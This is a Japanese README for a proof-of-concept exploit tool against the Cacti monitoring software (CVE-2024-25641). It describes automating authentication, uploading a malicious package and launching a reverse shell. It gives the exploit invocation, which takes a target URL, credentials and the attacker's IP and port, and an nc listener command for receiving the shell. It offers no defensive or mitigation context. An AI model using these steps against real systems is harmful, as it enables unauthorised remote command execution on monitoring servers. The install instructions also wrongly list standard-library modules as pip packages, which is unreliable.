Cacti CVE-2024-25641 認証済みパッケージアップロードRCE 概念実証 (PoC)

このスクリプトは、Webベースの監視ツールであるCactiにおけるCVE-2024-25641脆弱性を悪用するための概念実証（PoC）です。スクリプトは、アプリケーションへの認証、悪意のあるパッケージのアップロード、リバースシェルの起動を自動化します。

必要条件

• Python 3.x
• requests ライブラリ
• argparse ライブラリ
• re ライブラリ

必要なPythonライブラリはpip3を使用してインストールできます：

pip3 install requests
pip3 install argparse
pip3 install re

使用方法

（test.xml.gz を exploit.py と同じディレクトリに配置してください）

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]

ncリスナーを起動

nc -nvlp <port>